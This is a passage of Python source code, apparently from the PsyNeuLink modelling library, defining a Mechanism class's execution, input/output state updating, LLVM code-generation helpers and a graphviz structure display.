\"integrator_function\"):\n if isinstance(self.integrator_function, IntegratorFunction):\n new_input = self.integrator_function.reinitialize(*args, execution_context=execution_context)[0]\n self.parameters.value.set(\n self.function.execute(variable=new_input, execution_id=execution_context, context=\"REINITIALIZING\"),\n execution_context=execution_context,\n override=True\n )\n self._update_output_states(execution_id=parse_execution_context(execution_context),\n context=\"REINITIALIZING\")\n\n elif self.integrator_function is None or isinstance(self.integrator_function, type):\n if hasattr(self, \"integrator_mode\"):\n raise MechanismError(\"Reinitializing {} is not allowed because this Mechanism is not stateful. \"\n \"(It does not have an integrator to reinitialize.) If this Mechanism \"\n \"should be stateful, try setting the integrator_mode argument to True. \"\n .format(self.name))\n else:\n raise MechanismError(\"Reinitializing {} is not allowed because this Mechanism is not stateful. \"\n \"(It does not have an integrator to reinitialize).\".format(self.name))\n\n else:\n raise MechanismError(\"Reinitializing {} is not allowed because its integrator_function is not an \"\n \"IntegratorFunction type function, therefore the Mechanism does not have an integrator to\"\n \" reinitialize.\".format(self.name))\n else:\n raise MechanismError(\"Reinitializing {} is not allowed because this Mechanism is not stateful. \"\n \"(It does not have an accumulator to reinitialize).\".format(self.name))\n\n # if hasattr(self, PREVIOUS_VALUE):\n # self.parameters.previous_value.set(None, override=True)\n\n def get_current_mechanism_param(self, param_name, execution_id=None):\n if param_name == \"variable\":\n raise MechanismError(\"The method 'get_current_mechanism_param' is intended for retrieving the current \"\n \"value of a mechanism parameter. 'variable' is not a mechanism parameter. If looking \"\n \"for {}'s default variable, try {}.defaults.variable.\"\n .format(self.name, self.name))\n try:\n return self._parameter_states[param_name].parameters.value.get(execution_id)\n except (AttributeError, TypeError):\n return getattr(self.parameters, param_name).get(execution_id)\n\n def execute(self,\n input=None,\n execution_id=None,\n runtime_params=None,\n context=None):\n \"\"\"Carry out a single `execution <Mechanism_Execution>` of the Mechanism.\n\n COMMENT:\n Update InputState(s) and parameter(s), call subclass _execute, update OutputState(s), and assign self.value\n\n Execution sequence:\n - Call self.input_state.execute() for each entry in self.input_states:\n + execute every self.input_state.path_afferents.[<Projection>.execute()...]\n + aggregate results and/or gate state using self.input_state.function()\n + assign the result in self.input_state.value\n - Call every self.params[<ParameterState>].execute(); for each:\n + execute self.params[<ParameterState>].mod_afferents.[<Projection>.execute()...]\n (usually this is just a single ControlProjection)\n + aggregate results for each ModulationParam or assign value from an OVERRIDE specification\n + assign the result to self.params[<ParameterState>].value\n - Call subclass' self.execute(params):\n - use self.input_state.value as its variable,\n - use self.params[<ParameterState>].value for each param of subclass' self.function\n - call self._update_output_states() to assign the output to each self.output_states[<OutputState>].value\n Note:\n * if execution is occurring as part of initialization, each output_state is reset to 0\n * otherwise, their values are left as is until the next update\n COMMENT\n\n Arguments\n ---------\n\n input : List[value] or ndarray : default self.defaults.variable\n input to use for execution of the Mechanism.\n This must be consistent with the format of the Mechanism's `InputState(s) <Mechanism_InputStates>`:\n the number of items in the outermost level of the list, or axis 0 of the ndarray, must equal the number\n of the Mechanism's `input_states <Mechanism_Base.input_states>`, and each item must be compatible with the\n format (number and type of elements) of the `variable <InputState.InputState.variable>` of the\n corresponding InputState (see `Run Inputs <Run_Inputs>` for details of input\n specification formats).\n\n runtime_params : Optional[Dict[str, Dict[str, Dict[str, value]]]]:\n a dictionary that can include any of the parameters used as arguments to instantiate the Mechanism or\n its function. Any value assigned to a parameter will override the current value of that parameter for *only\n the current* execution of the Mechanism. When runtime_params are passed down from the `Composition` level\n `Run` method, parameters reset to their original values immediately following the execution during which\n runtime_params were used. When `execute <Mechanism.execute>` is called directly, (such as for debugging),\n runtime_params exhibit \"lazy updating\": parameter values will not reset to their original values until the\n beginning of the next execution.\n\n Returns\n -------\n\n Mechanism's output_values : List[value]\n list with the `value <OutputState.value>` of each of the Mechanism's `OutputStates\n <Mechanism_OutputStates>` after either one `TIME_STEP` or a `TRIAL`.\n\n \"\"\"\n context = context or ContextFlags.COMMAND_LINE\n\n # initialize context for this execution_id if not done already\n if execution_id is not None:\n self._assign_context_values(execution_id)\n\n if not self.parameters.context.get(execution_id).source or context & ContextFlags.COMMAND_LINE:\n self.parameters.context.get(execution_id).source = ContextFlags.COMMAND_LINE\n if self.parameters.context.get(execution_id).initialization_status == ContextFlags.INITIALIZED:\n self.parameters.context.get(execution_id).string = \"{} EXECUTING {}: {}\".format(context.name,self.name,\n ContextFlags._get_context_string(\n self.parameters.context.get(execution_id).flags, EXECUTION_PHASE))\n else:\n self.parameters.context.get(execution_id).string = \"{} INITIALIZING {}\".format(context.name, self.name)\n\n # IMPLEMENTATION NOTE: Re-write by calling execute methods according to their order in functionDict:\n # for func in self.functionDict:\n # self.functionsDict[func]()\n\n # Limit init to scope specified by context\n if self.parameters.context.get(execution_id).initialization_status == ContextFlags.INITIALIZING:\n if self.parameters.context.get(execution_id).composition:\n # Run full execute method for init of Process and System\n pass\n # Only call subclass' _execute method and then return (do not complete the rest of this method)\n elif self.initMethod is INIT_EXECUTE_METHOD_ONLY:\n return_value = self._execute(\n variable=self.defaults.variable,\n execution_id=execution_id,\n runtime_params=runtime_params,\n context=context,\n )\n\n # IMPLEMENTATION NOTE: THIS IS HERE BECAUSE IF return_value IS A LIST, AND THE LENGTH OF ALL OF ITS\n # ELEMENTS ALONG ALL DIMENSIONS ARE EQUAL (E.G., A 2X2 MATRIX PAIRED WITH AN\n # ARRAY OF LENGTH 2), np.array (AS WELL AS np.atleast_2d) GENERATES A ValueError\n if (isinstance(return_value, list) and\n (all(isinstance(item, np.ndarray) for item in return_value) and\n all(\n all(item.shape[i]==return_value[0].shape[0]\n for i in range(len(item.shape)))\n for item in return_value))):\n\n return return_value\n else:\n converted_to_2d = np.atleast_2d(return_value)\n # If return_value is a list of heterogenous elements, return as is\n # (satisfies requirement that return_value be an array of possibly multidimensional values)\n if converted_to_2d.dtype == object:\n return return_value\n # Otherwise, return value converted to 2d np.array\n else:\n return converted_to_2d\n\n # Call only subclass' function during initialization (not its full _execute method nor rest of this method)\n elif self.initMethod is INIT_FUNCTION_METHOD_ONLY:\n return_value = super()._execute(\n variable=self.defaults.variable,\n execution_id=execution_id,\n runtime_params=runtime_params,\n context=context,\n )\n return np.atleast_2d(return_value)\n\n # FIX: ??MAKE CONDITIONAL ON self.prefs.paramValidationPref??\n # VALIDATE INPUT STATE(S) AND RUNTIME PARAMS\n self._check_args(\n params=runtime_params,\n target_set=runtime_params,\n execution_id=execution_id,\n )\n\n self._update_previous_value(execution_id)\n\n # UPDATE VARIABLE and INPUT STATE(S)\n\n # Executing or simulating Process or System, get input by updating input_states\n\n if (input is None\n and (self.parameters.context.get(execution_id).execution_phase & (ContextFlags.PROCESSING|ContextFlags.LEARNING|ContextFlags.SIMULATION))\n and (self.input_state.path_afferents != [])):\n variable = self._update_input_states(execution_id=execution_id, runtime_params=runtime_params, context=context)\n\n # Direct call to execute Mechanism with specified input, so assign input to Mechanism's input_states\n else:\n if context & ContextFlags.COMMAND_LINE:\n self.parameters.context.get(execution_id).execution_phase = ContextFlags.PROCESSING\n if input is None:\n input = self.defaults.variable\n # FIX: this input value is sent to input CIMs when compositions are nested\n # variable should be based on afferent projections\n variable = self._get_variable_from_input(input, execution_id)\n\n self.parameters.variable.set(variable, execution_context=execution_id, override=True)\n\n # UPDATE PARAMETER STATE(S)\n self._update_parameter_states(execution_id=execution_id, runtime_params=runtime_params, context=context)\n\n # CALL SUBCLASS _execute method AND ASSIGN RESULT TO self.value\n\n # IMPLEMENTATION NOTE: use value as buffer variable until it has been fully processed\n # to avoid multiple calls to (and potential log entries for) self.value property\n value = self._execute(\n variable=variable,\n execution_id=execution_id,\n runtime_params=runtime_params,\n context=context\n )\n\n # IMPLEMENTATION NOTE: THIS IS HERE BECAUSE IF return_value IS A LIST, AND THE LENGTH OF ALL OF ITS\n # ELEMENTS ALONG ALL DIMENSIONS ARE EQUAL (E.G., A 2X2 MATRIX PAIRED WITH AN\n # ARRAY OF LENGTH 2), np.array (AS WELL AS np.atleast_2d) GENERATES A ValueError\n if (isinstance(value, list) and\n (all(isinstance(item, np.ndarray) for item in value) and\n all(\n all(item.shape[i]==value[0].shape[0]\n for i in range(len(item.shape)))\n for item in value))):\n pass\n else:\n converted_to_2d = np.atleast_2d(value)\n # If return_value is a list of heterogenous elements, return as is\n # (satisfies requirement that return_value be an array of possibly multidimensional values)\n if converted_to_2d.dtype == object:\n pass\n # Otherwise, return value converted to 2d np.array\n else:\n # return converted_to_2d\n value = converted_to_2d\n\n self.parameters.value.set(value, execution_context=execution_id, override=True)\n\n # UPDATE OUTPUT STATE(S)\n self._update_output_states(execution_id=execution_id, runtime_params=runtime_params, context=context)\n\n # REPORT EXECUTION\n if self.prefs.reportOutputPref and (self.parameters.context.get(execution_id).execution_phase &\n ContextFlags.PROCESSING|ContextFlags.LEARNING):\n self._report_mechanism_execution(self.get_input_values(execution_id), self.user_params, self.output_state.parameters.value.get(execution_id))\n return value\n\n def run(\n self,\n inputs,\n num_trials=None,\n call_before_execution=None,\n call_after_execution=None,\n ):\n \"\"\"Run a sequence of `executions <Mechanism_Execution>`.\n\n COMMENT:\n Call execute method for each in a sequence of executions specified by the `inputs` argument.\n COMMENT\n\n Arguments\n ---------\n\n inputs : List[input] or ndarray(input) : default default_variable\n the inputs used for each in a sequence of executions of the Mechanism (see `Run_Inputs` for a detailed\n description of formatting requirements and options).\n\n num_trials: int\n number of trials to execute.\n\n call_before_execution : function : default None\n called before each execution of the Mechanism.\n\n call_after_execution : function : default None\n called after each execution of the Mechanism.\n\n Returns\n -------\n\n Mechanism's output_values : List[value]\n list with the `value <OutputState.value>` of each of the Mechanism's `OutputStates\n <Mechanism_OutputStates>` for each execution of the Mechanism.\n\n \"\"\"\n from psyneulink.core.globals.environment import run\n return run(\n self,\n inputs=inputs,\n num_trials=num_trials,\n call_before_trial=call_before_execution,\n call_after_trial=call_after_execution,\n )\n\n def _get_variable_from_input(self, input, execution_id=None):\n input = np.atleast_2d(input)\n num_inputs = np.size(input, 0)\n num_input_states = len(self.input_states)\n if num_inputs != num_input_states:\n # Check if inputs are of different lengths (indicated by dtype == np.dtype('O'))\n num_inputs = np.size(input)\n if isinstance(input, np.ndarray) and input.dtype is np.dtype('O') and num_inputs == num_input_states:\n # Reduce input back down to sequence of arrays (to remove extra dim added by atleast_2d above)\n input = np.squeeze(input)\n else:\n num_inputs = np.size(input, 0) # revert num_inputs to its previous value, when printing the error\n raise MechanismError(\"Number of inputs ({0}) to {1} does not match \"\n \"its number of input_states ({2})\".\n format(num_inputs, self.name, num_input_states ))\n for input_item, input_state in zip(input, self.input_states):\n if len(input_state.defaults.value) == len(input_item):\n input_state.parameters.value.set(input_item, execution_id, override=True)\n else:\n raise MechanismError(\n \"Length ({}) of input ({}) does not match \"\n \"required length ({}) for input to {} {} of {}\".format(\n len(input_item),\n input_item,\n len(input_state.defaults.variable),\n input_state.name,\n InputState.__name__,\n self.name\n )\n )\n\n return np.array(self.get_input_values(execution_id))\n\n def _update_previous_value(self, execution_id=None):\n self.parameters.previous_value.set(self.parameters.value.get(execution_id), execution_id, override=True)\n\n def _update_input_states(self, execution_id=None, runtime_params=None, context=None):\n \"\"\" Update value for each InputState in self.input_states:\n\n Call execute method for all (MappingProjection) Projections in InputState.path_afferents\n Aggregate results (using InputState execute method)\n Update InputState.value\n \"\"\"\n for i in range(len(self.input_states)):\n state = self.input_states[i]\n state.update(execution_id=execution_id, params=runtime_params, context=context)\n return np.array([state.parameters.value.get(execution_id) for state in self.input_states])\n\n def _update_parameter_states(self, execution_id=None, runtime_params=None, context=None):\n\n for state in self._parameter_states:\n state.update(execution_id=execution_id, params=runtime_params, context=context)\n self._update_attribs_dicts(context=context)\n\n def _update_attribs_dicts(self, context=None):\n from psyneulink.core.globals.keywords import NOISE\n for state in self._parameter_states:\n if NOISE in state.name and self.parameters.context.get().initialization_status == ContextFlags.INITIALIZING:\n continue\n if state.name in self.user_params:\n self.user_params.__additem__(state.name, state.value)\n if state.name in self.function_params:\n self.function_params.__additem__(state.name, state.value)\n\n def _update_output_states(self, execution_id=None, runtime_params=None, context=None):\n \"\"\"Execute function for each OutputState and assign result of each to corresponding item of self.output_values\n\n owner_value arg can be used to override existing (or absent) value of owner as variable for OutputStates\n and assign a specified (set of) value(s).\n\n \"\"\"\n for i in range(len(self.output_states)):\n state = self.output_states[i]\n state.update(execution_id=execution_id, params=runtime_params, context=context)\n\n def initialize(self, value, execution_context=None):\n \"\"\"Assign an initial value to the Mechanism's `value <Mechanism_Base.value>` attribute and update its\n `OutputStates <Mechanism_OutputStates>`.\n\n Arguments\n ---------\n\n value : List[value] or 1d ndarray\n value used to initialize the first item of the Mechanism's `value <Mechanism_Base.value>` attribute.\n\n \"\"\"\n if self.paramValidationPref:\n if not iscompatible(value, self.defaults.value):\n raise MechanismError(\"Initialization value ({}) is not compatiable with value of {}\".\n format(value, append_type_to_name(self)))\n self.parameters.value.set(np.atleast_1d(value), execution_context, override=True)\n self._update_output_states(execution_id=execution_context, context=\"INITIAL_VALUE\")\n\n def _get_input_param_struct_type(self, ctx):\n gen = (ctx.get_param_struct_type(state) for state in self.input_states)\n return pnlvm.ir.LiteralStructType(gen)\n\n def _get_param_param_struct_type(self, ctx):\n gen = (ctx.get_param_struct_type(state) for state in self.parameter_states)\n return pnlvm.ir.LiteralStructType(gen)\n\n def _get_output_param_struct_type(self, ctx):\n gen = (ctx.get_param_struct_type(state) for state in self.output_states)\n return pnlvm.ir.LiteralStructType(gen)\n\n def _get_function_param_struct_type(self, ctx):\n return ctx.get_param_struct_type(self.function)\n\n def _get_param_struct_type(self, ctx):\n input_param_struct = self._get_input_param_struct_type(ctx)\n output_param_struct = self._get_output_param_struct_type(ctx)\n param_param_struct = self._get_param_param_struct_type(ctx)\n function_param_struct = self._get_function_param_struct_type(ctx)\n\n param_list = [input_param_struct, function_param_struct,\n output_param_struct, param_param_struct]\n\n mech_params = self._get_mech_params_type(ctx)\n if mech_params is not None:\n param_list.append(mech_params)\n\n return pnlvm.ir.LiteralStructType(param_list)\n\n def _get_mech_params_type(self, ctx):\n pass\n\n def _get_input_context_struct_type(self, ctx):\n gen = (ctx.get_context_struct_type(state) for state in self.input_states)\n return pnlvm.ir.LiteralStructType(gen)\n\n def _get_param_context_struct_type(self, ctx):\n gen = (ctx.get_context_struct_type(state) for state in self.parameter_states)\n return pnlvm.ir.LiteralStructType(gen)\n\n def _get_output_context_struct_type(self, ctx):\n gen = (ctx.get_context_struct_type(state) for state in self.output_states)\n return pnlvm.ir.LiteralStructType(gen)\n\n def _get_function_context_struct_type(self, ctx):\n return ctx.get_context_struct_type(self.function)\n\n def _get_context_struct_type(self, ctx):\n input_context_struct = self._get_input_context_struct_type(ctx)\n output_context_struct = self._get_output_context_struct_type(ctx)\n param_context_struct = self._get_param_context_struct_type(ctx)\n function_context_struct = self._get_function_context_struct_type(ctx)\n\n context_list = [input_context_struct, function_context_struct,\n output_context_struct, param_context_struct]\n\n mech_context = self._get_mech_context_type(ctx)\n if mech_context is not None:\n context_list.append(mech_context)\n\n return pnlvm.ir.LiteralStructType(context_list)\n\n def _get_mech_context_type(self, ctx):\n pass\n\n def _get_output_struct_type(self, ctx):\n output_type_list = []\n for state in self.output_states:\n output_type_list.append(ctx.get_output_struct_type(state))\n return pnlvm.ir.LiteralStructType(output_type_list)\n\n def _get_input_struct_type(self, ctx):\n input_type_list = []\n for state in self.input_states:\n input_type_list.append(ctx.get_input_struct_type(state))\n for state in self.parameter_states:\n state_input_type_list = []\n for proj in state.mod_afferents:\n state_input_type_list.append(ctx.get_output_struct_type(proj))\n input_type_list.append(pnlvm.ir.LiteralStructType(state_input_type_list))\n return pnlvm.ir.LiteralStructType(input_type_list)\n\n def _get_input_param_initializer(self, execution_id):\n gen = (state._get_param_initializer(execution_id) for state in self.input_states)\n return tuple(gen)\n\n def _get_param_param_initializer(self, execution_id):\n gen = (state._get_param_initializer(execution_id) for state in self.parameter_states)\n return tuple(gen)\n\n def _get_output_param_initializer(self, execution_id):\n gen = (state._get_param_initializer(execution_id) for state in self.output_states)\n return tuple(gen)\n\n def _get_function_param_initializer(self, execution_id):\n return self.function._get_param_initializer(execution_id)\n\n def _get_param_initializer(self, execution_id):\n input_param_init = self._get_input_param_initializer(execution_id)\n function_param_init = self._get_function_param_initializer(execution_id)\n output_param_init = self._get_output_param_initializer(execution_id)\n param_param_init = self._get_param_param_initializer(execution_id)\n\n param_init_list = [input_param_init, function_param_init,\n output_param_init, param_param_init]\n\n mech_params_init = self._get_mech_params_init()\n if mech_params_init is not None:\n param_init_list.append(mech_params_init)\n\n return tuple(param_init_list)\n\n def _get_mech_params_init(self):\n pass\n\n def _get_input_context_initializer(self, execution_id):\n gen = (state._get_context_initializer(execution_id) for state in self.input_states)\n return tuple(gen)\n\n def _get_param_context_initializer(self, execution_id):\n gen = (state._get_context_initializer(execution_id) for state in self.parameter_states)\n return tuple(gen)\n\n def _get_output_context_initializer(self, execution_id):\n gen = (state._get_context_initializer(execution_id) for state in self.output_states)\n return tuple(gen)\n\n def _get_function_context_initializer(self, execution_id):\n return self.function._get_context_initializer(execution_id)\n\n def _get_context_initializer(self, execution_id):\n input_context_init = self._get_input_context_initializer(execution_id)\n function_context_init = self._get_function_context_initializer(execution_id)\n output_context_init = self._get_output_context_initializer(execution_id)\n param_context_init = self._get_param_context_initializer(execution_id)\n\n context_init_list = [input_context_init, function_context_init,\n output_context_init, param_context_init]\n\n return tuple(context_init_list)\n\n def _gen_llvm_input_states(self, ctx, builder, params, context, si):\n # Allocate temporary storage. We rely on the fact that series\n # of input state results should match the main function input.\n is_output_list = []\n for state in self.input_states:\n is_function = ctx.get_llvm_function(state)\n is_output_list.append(is_function.args[3].type.pointee)\n\n # Check if all elements are the same\n if len(set(is_output_list)) == 1:\n is_output_type = pnlvm.ir.ArrayType(is_output_list[0], len(is_output_list))\n else:\n is_output_type = pnlvm.ir.LiteralStructType(is_output_list)\n is_output = builder.alloca(is_output_type, 1)\n\n for i, state in enumerate(self.input_states):\n is_params = builder.gep(params, [ctx.int32_ty(0), ctx.int32_ty(0), ctx.int32_ty(i)])\n is_context = builder.gep(context, [ctx.int32_ty(0), ctx.int32_ty(0), ctx.int32_ty(i)])\n is_in = builder.gep(si, [ctx.int32_ty(0), ctx.int32_ty(i)])\n is_out = builder.gep(is_output, [ctx.int32_ty(0), ctx.int32_ty(i)])\n is_function = ctx.get_llvm_function(state)\n builder.call(is_function, [is_params, is_context, is_in, is_out])\n\n return is_output, builder\n\n def _gen_llvm_param_states(self, func, f_params_ptr, ctx, builder, params, context, si):\n # Allocate a shadow structure to overload user supplied parameters\n f_params = builder.alloca(f_params_ptr.type.pointee, 1)\n\n # Call parameter states for function\n for idx, f_param in enumerate(func._get_param_ids()):\n param_in_ptr = builder.gep(f_params_ptr, [ctx.int32_ty(0), ctx.int32_ty(idx)])\n raw_param_val = builder.load(param_in_ptr)\n param_out_ptr = builder.gep(f_params, [ctx.int32_ty(0), ctx.int32_ty(idx)])\n # If there is no param state, provide a copy of the user param value\n # FIXME: why wouldn't it be there?\n if f_param not in self._parameter_states:\n builder.store(raw_param_val, param_out_ptr)\n continue\n\n state = self._parameter_states[f_param]\n i = self._parameter_states.key_values.index(f_param)\n\n assert state is self.parameter_states[i]\n\n ps_function = ctx.get_llvm_function(state)\n\n # Parameter states are in the 4th block (idx 3).\n # After input, function, and output.\n ps_idx = ctx.int32_ty(3)\n ps_params = builder.gep(params, [ctx.int32_ty(0), ps_idx, ctx.int32_ty(i)])\n ps_context = builder.gep(context, [ctx.int32_ty(0), ps_idx, ctx.int32_ty(i)])\n\n # Construct the input out of the user value and incoming projection\n ps_input = builder.alloca(ps_function.args[2].type.pointee, 1)\n raw_ptr = builder.gep(ps_input, [ctx.int32_ty(0), ctx.int32_ty(0)])\n\n builder.store(raw_param_val, raw_ptr)\n\n # Copy mod_afferent inputs\n for idx, ps_mod in enumerate(state.mod_afferents):\n mod_in_ptr = builder.gep(si, [ctx.int32_ty(0), ctx.int32_ty(len(self.input_states) + i), ctx.int32_ty(idx)])\n mod_out_ptr = builder.gep(ps_input, [ctx.int32_ty(0), ctx.int32_ty(1 + idx)])\n afferent_val = builder.load(mod_in_ptr)\n builder.store(afferent_val, mod_out_ptr)\n\n # Parameter states modify corresponding parameter in param struct\n ps_output = param_out_ptr\n\n builder.call(ps_function, [ps_params, ps_context, ps_input, ps_output])\n return f_params, builder\n\n def _gen_llvm_output_states(self, ctx, builder, params, context, value, so):\n for i, state in enumerate(self.output_states):\n #FIXME: can we rely on this?\n os_in_spec = state._variable_spec\n if os_in_spec == OWNER_VALUE:\n os_input = value\n elif isinstance(os_in_spec, tuple) and os_in_spec[0] == OWNER_VALUE:\n os_input = builder.gep(value, [ctx.int32_ty(0), ctx.int32_ty(os_in_spec[1])])\n #FIXME: For some reason this can be wrapped in a list\n elif isinstance(os_in_spec, list) and len(os_in_spec) == 1 and isinstance(os_in_spec[0], tuple) and os_in_spec[0][0] == OWNER_VALUE:\n os_input = builder.gep(value, [ctx.int32_ty(0), ctx.int32_ty(os_in_spec[0][1])])\n else:\n #TODO: support more spec options\n assert False, \"Unsupported output state spec: {} ({})\".format(os_in_spec, value.type)\n\n os_params = builder.gep(params, [ctx.int32_ty(0), ctx.int32_ty(2), ctx.int32_ty(i)])\n os_context = builder.gep(context, [ctx.int32_ty(0), ctx.int32_ty(2), ctx.int32_ty(i)])\n os_output = builder.gep(so, [ctx.int32_ty(0), ctx.int32_ty(i)])\n os_function = ctx.get_llvm_function(state)\n builder.call(os_function, [os_params, os_context, os_input, os_output])\n\n return builder\n\n def _gen_llvm_invoke_function(self, ctx, builder, function, params, context, variable):\n fun = ctx.get_llvm_function(function)\n fun_in, builder = self._gen_llvm_function_input_parse(builder, ctx, fun, variable)\n fun_out = builder.alloca(fun.args[3].type.pointee, 1)\n\n builder.call(fun, [params, context, fun_in, fun_out])\n\n return fun_out, builder\n\n def _gen_llvm_function_body(self, ctx, builder, params, context, arg_in, arg_out):\n\n is_output, builder = self._gen_llvm_input_states(ctx, builder, params, context, arg_in)\n\n mf_params_ptr = builder.gep(params, [ctx.int32_ty(0), ctx.int32_ty(1)])\n mf_params, builder = self._gen_llvm_param_states(self.function, mf_params_ptr, ctx, builder, params, context, arg_in)\n\n mf_ctx = builder.gep(context, [ctx.int32_ty(0), ctx.int32_ty(1)])\n value, builder = self._gen_llvm_invoke_function(ctx, builder, self.function, mf_params, mf_ctx, is_output)\n\n ppval, builder = self._gen_llvm_function_postprocess(builder, ctx, value)\n\n builder = self._gen_llvm_output_states(ctx, builder, params, context, ppval, arg_out)\n return builder\n\n def _gen_llvm_function_input_parse(self, builder, ctx, func, func_in):\n return func_in, builder\n\n def _gen_llvm_function_postprocess(self, builder, ctx, mf_out):\n return mf_out, builder\n\n def _report_mechanism_execution(self, input_val=None, params=None, output=None, execution_id=None):\n\n if input_val is None:\n input_val = self.get_input_values(execution_id)\n if output is None:\n output = self.output_state.parameters.value.get(execution_id)\n params = params or self.user_params\n\n import re\n if 'mechanism' in self.name or 'Mechanism' in self.name:\n mechanism_string = ' '\n else:\n mechanism_string = ' mechanism'\n\n # kmantel: previous version would fail on anything but iterables of things that can be cast to floats\n # if you want more specific output, you can add conditional tests here\n try:\n input_string = [float(\"{:0.3}\".format(float(i))) for i in input_val].__str__().strip(\"[]\")\n except TypeError:\n input_string = input_val\n\n print (\"\\n\\'{}\\'{} executed:\\n- input: {}\".\n format(self.name,\n mechanism_string,\n input_string))\n\n if params:\n print(\"- params:\")\n # Sort for consistency of output\n params_keys_sorted = sorted(params.keys())\n for param_name in params_keys_sorted:\n # No need to report:\n # function_params here, as they will be reported for the function itself below;\n # input_states or output_states, as these are not really params\n if param_name in {FUNCTION_PARAMS, INPUT_STATES, OUTPUT_STATES}:\n continue\n param_is_function = False\n param_value = params[param_name]\n if isinstance(param_value, Function):\n param = param_value.name\n param_is_function = True\n elif isinstance(param_value, type(Function)):\n param = param_value.__name__\n param_is_function = True\n elif isinstance(param_value, (function_type, method_type)):\n param = param_value.__self__.__class__.__name__\n param_is_function = True\n else:\n param = param_value\n print (\"\\t{}: {}\".format(param_name, str(param).__str__().strip(\"[]\")))\n if param_is_function:\n # Sort for consistency of output\n func_params_keys_sorted = sorted(self.function.user_params.keys())\n for fct_param_name in func_params_keys_sorted:\n print (\"\\t\\t{}: {}\".\n format(fct_param_name,\n str(self.function.user_params[fct_param_name]).__str__().strip(\"[]\")))\n\n # kmantel: previous version would fail on anything but iterables of things that can be cast to floats\n # if you want more specific output, you can add conditional tests here\n try:\n output_string = re.sub(r'[\\[,\\],\\n]', '', str([float(\"{:0.3}\".format(float(i))) for i in output]))\n except TypeError:\n output_string = output\n\n print(\"- output: {}\".format(output_string))\n\n @tc.typecheck\n def show_structure(self,\n # direction = 'BT',\n show_functions:bool=False,\n show_mech_function_params:bool=False,\n show_state_function_params:bool=False,\n show_values:bool=False,\n use_labels:bool=False,\n show_headers:bool=False,\n show_roles:bool=False,\n composition=None,\n compact_cim:bool=False,\n node_border:str=\"1\",\n output_fmt:tc.enum('pdf','struct')='pdf'\n ):\n \"\"\"Generate a detailed display of a the structure of a Mechanism.\n\n .. note::\n This method relies on `graphviz <http://www.graphviz.org>`_, which must be installed and imported\n (standard with PsyNeuLink pip install)\n\n Displays the structure of a Mechanism using html table format and shape='plaintext'.\n This method is called by `Composition.show_graph` if its **show_mechanism_structure** argument is specified as\n `True` when it is called.\n\n Arguments\n ---------\n\n show_functions : bool : default False\n show the `function <Component.function>` of the Mechanism and each of its States.\n\n show_mech_function_params : bool : default False\n show the parameters of the Mechanism's `function <Component.function>` if **show_functions** is True.\n\n show_state_function_params : bool : default False\n show parameters for the `function <Component.function>` of the Mechanism's States if **show_functions** is\n True).\n\n show_values : bool : default False\n show the `value <Component.value>` of the Mechanism and each of its States (prefixed by \"=\").\n\n use_labels : bool : default False\n use labels for values if **show_values** is `True`; labels must be specified in the `input_labels_dict\n <Mechanism.input_labels_dict>` (for InputState values) and `output_labels_dict\n <Mechanism.output_labels_dict>` (for OutputState values), otherwise the value is used.\n\n show_headers : bool : default False\n show the Mechanism, InputState, ParameterState and OutputState headers.\n\n show_roles : bool : default False\n show the `roles <Composition.NodeRoles>` of the Mechanism in the `Composition` specified in the\n **composition** argument (**composition** is not specified, show_roles is ignored).\n\n composition : Composition : default None\n specifies the `Composition` (to which the Mechanism must belong) for which to show its role (see **roles**);\n if this is not specified, the **show_roles** argument is ignored.\n\n compact_cim : bool : default False\n specifies whether to suppress InputState fields for input_CIM and OutputState fields for output_CIM\n\n output_fmt : keyword : default 'pdf'\n 'pdf': generate and open a pdf with the visualization;\\n\n 'jupyter': return the object (ideal for working in jupyter/ipython notebooks)\\n\n 'struct': return a string that specifies the structure of the Mechanism using html table format\n for use in a GraphViz node specification.\n\n Example HTML for structure:\n\n <<table border=\"1\" cellborder=\"0\" cellspacing=\"0\" bgcolor=\"tan\"> <- MAIN TABLE\n\n <tr> <- BEGIN OUTPUTSTATES\n <td colspan=\"2\"><table border=\"0\" cellborder=\"0\" BGCOLOR=\"bisque\"> <- OUTPUTSTATES OUTER TABLE\n <tr>\n <td colspan=\"1\"><b>OutputStates</b></td> <- OUTPUTSTATES HEADER\n </tr>\n <tr>\n <td><table border=\"0\" cellborder=\"1\"> <- OUTPUTSTATE CELLS TABLE\n <tr>\n <td port=\"OutputStatePort1\">OutputState 1<br/><i>function 1</i><br/><i>=value</i></td>\n <td port=\"OutputStatePort2\">OutputState 2<br/><i>function 2</i><br/><i>=value</i></td>\n </tr>\n </table></td>\n </tr>\n </table></td>\n </tr>\n\n <tr> <- BEGIN MECHANISM & PARAMETERSTATES\n <td port=\"Mech name\"><b>Mech name</b><br/><i>Roles</i></td> <- MECHANISM CELL (OUTERMOST TABLE)\n <td><table border=\"0\" cellborder=\"0\" BGCOLOR=\"bisque\"> <- PARAMETERSTATES OUTER TABLE\n <tr>\n <td><b>ParameterStates</b></td> <- PARAMETERSTATES HEADER\n </tr>\n <tr>\n <td><table border=\"0\" cellborder=\"1\"> <- PARAMETERSTATE CELLS TABLE\n <tr><td port=\"ParamPort1\">Param 1<br/><i>function 1</i><br/><i>= value</i></td></tr>\n <tr><td port=\"ParamPort1\">Param 2<br/><i>function 2</i><br/><i>= value</i></td></tr>\n </table></td>\n </tr>\n </table></td>\n </tr>\n\n <tr> <- BEGIN INPUTSTATES\n <td colspan=\"2\"><table border=\"0\" cellborder=\"0\" BGCOLOR=\"bisque\"> <- INPUTSTATES OUTER TABLE\n <tr>\n <td colspan=\"1\"><b>InputStates</b></td> <- INPUTSTATES HEADER\n </tr>\n <tr>\n <td><table border=\"0\" cellborder=\"1\"> <- INPUTSTATE CELLS TABLE\n <tr>\n <td port=\"InputStatePort1\">InputState 1<br/><i>function 1</i><br/><i>= value</i></td>\n <td port=\"InputStatePort2\">InputState 2<br/><i>function 2</i><br/><i>= value</i></td>\n </tr>\n </table></td>\n </tr>\n </table></td>\n </tr>\n\n </table>>\n\n \"\"\"\n\n # Table / cell specifications:\n\n # Overall node table: NEAR LIGHTYELLOW\n node_table_spec = f'<table border={repr(node_border)} cellborder=\"0\" cellspacing=\"1\" bgcolor=\"#FFFFF0\">'\n\n # Header of Mechanism cell:\n mech_header = f'<b><i>{Mechanism.__name__}</i></b>:<br/>'\n\n # Outer State table:\n outer_table_spec = '<table border=\"0\" cellborder=\"0\" bgcolor=\"#FAFAD0\">' # NEAR LIGHTGOLDENRODYELLOW\n\n # Header cell of outer State table:\n input_states_header = f'<tr><td colspan=\"1\" valign=\"middle\"><b><i>{InputState.__name__}s</i></b></td></tr>'\n # # MODIFIED 3/21/19 OLD:\n # 